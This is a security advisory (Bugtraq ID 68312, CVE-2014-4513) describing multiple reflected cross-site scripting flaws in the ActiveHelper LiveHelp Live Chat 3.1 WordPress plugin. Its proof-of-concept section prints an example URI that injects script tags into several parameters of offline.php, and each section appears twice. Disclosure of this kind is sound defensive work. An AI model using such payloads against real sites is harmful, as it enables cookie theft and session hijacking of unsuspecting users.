WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
BID:68312
Info
WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 68312 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-4513 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2014 12:00AM |
| Updated: | May 28 2014 12:00AM |
| Credit: | Prajal Kulkarni |
| Vulnerable: |
ActiveHelper ActiveHelper LiveHelp Live Chat 3.1 |
| Not Vulnerable: | |
Discussion
WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
ActiveHelper LiveHelp Live Chat plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
ActiveHelper LiveHelp Live Chat 3.1.0 is vulnerable; other versions may also be affected.
ActiveHelper LiveHelp Live Chat plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
ActiveHelper LiveHelp Live Chat 3.1.0 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%22%3E%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URI is available:
http://www.example.com/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%22%3E%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&
Solution / Fix
WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
WordPress ActiveHelper LiveHelp Live Chat Plugin Multiple Cross Site Scripting Vulnerabilities
References:
References:
- ActiveHelper LiveHelp Live Chat Homepage (WordPress)
- WordPress HomePage (WordPress)
- wp-plugin : activehelper-livehelp �?? A3-Cross-Site Scripting (XSS) (CodeVigilant)